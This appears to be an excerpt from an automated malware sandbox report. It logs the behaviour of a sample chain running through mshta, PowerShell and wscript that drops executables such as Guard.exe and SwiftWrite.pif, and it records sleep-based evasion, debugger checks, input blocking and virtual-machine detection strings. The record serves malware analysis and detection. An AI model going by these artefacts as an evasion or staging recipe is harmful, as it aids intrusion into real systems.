Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1615	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1645	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 930	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 838	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4823	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4990	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6933
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1524
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4584

Source: C:\Windows\System32\mshta.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]

Jump to dropped file

Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	API coverage: 3.7 %
Source: C:\Users\Public\Guard.exe	API coverage: 6.6 %
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	API coverage: 4.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3336	Thread sleep count: 930 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3336	Thread sleep count: 838 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 6933 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7864	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 1524 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4696	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8456	Thread sleep time: -18446744073709540s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	18_2_00007FF697BBC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00007FF697BBB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	18_2_00007FF697BC72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC71F4 FindFirstFileW,FindClose,	18_2_00007FF697BC71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00007FF697BBBC70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	18_2_00007FF697BCA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	18_2_00007FF697BCA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC6428 FindFirstFileW,FindNextFileW,FindClose,	18_2_00007FF697BC6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	18_2_00007FF697BCA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B82F50 FindFirstFileExW,	18_2_00007FF697B82F50
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00334005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	27_2_00334005
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033494A GetFileAttributesW,FindFirstFileW,FindClose,	27_2_0033494A
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	27_2_0033C2FF
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033CD14 FindFirstFileW,FindClose,	27_2_0033CD14
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	27_2_0033CD9F
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	27_2_0033F5D8
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	27_2_0033F735
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	27_2_0033FA36
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00333CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	27_2_00333CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	31_2_00D84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8494A GetFileAttributesW,FindFirstFileW,FindClose,	31_2_00D8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	31_2_00D8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	31_2_00D8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8CD14 FindFirstFileW,FindClose,	31_2_00D8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	31_2_00D8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	31_2_00D8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	31_2_00D8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	31_2_00D83CE2

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B61D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

18_2_00007FF697B61D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000019.00000002.1890809020.0000026D234E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: powershell.exe, 00000009.00000002.1647234592.0000024F7ADA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: powershell.exe, 00000009.00000002.1647234592.0000024F7ADA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9A%SystemRoot%\system32\mswsock.dllC59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C70
Source: mshta.exe, 00000006.00000002.1691503475.0000023F40230000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: mshta.exe, 00000006.00000003.1687720144.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1688122665.000002373D78B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1690806418.000002373D78C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657131232.000002373D6ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1689462796.000002373D726000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656420097.000002373D76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663991468.000002373D6EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687720144.000002373D6F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1687550826.000002373D76D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1670150384.000002373D76D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Guard.exe, 0000001B.00000002.2614078570.0000000003906000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000001F.00000002.2614206941.0000000003C8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: mshta.exe, 00000006.00000003.1686839904.0000023F45918000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\z

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BD0A00 BlockInput,

18_2_00007FF697BD0A00

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B437B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

18_2_00007FF697B437B0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697B65BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

18_2_00007FF697B65BC0

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BD7634 LoadLibraryA,GetProcAddress,

18_2_00007FF697BD7634

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BAD868 WaitForSingleObject,UnloadUserProfile,CloseHandle,CloseHandle,GetProcessHeap,HeapFree,

18_2_00007FF697BAD868

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B657E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF697B657E4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B659C8 SetUnhandledExceptionFilter,	18_2_00007FF697B659C8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B88FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00007FF697B88FE4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B7AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF697B7AF58
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002FA354 SetUnhandledExceptionFilter,	27_2_002FA354
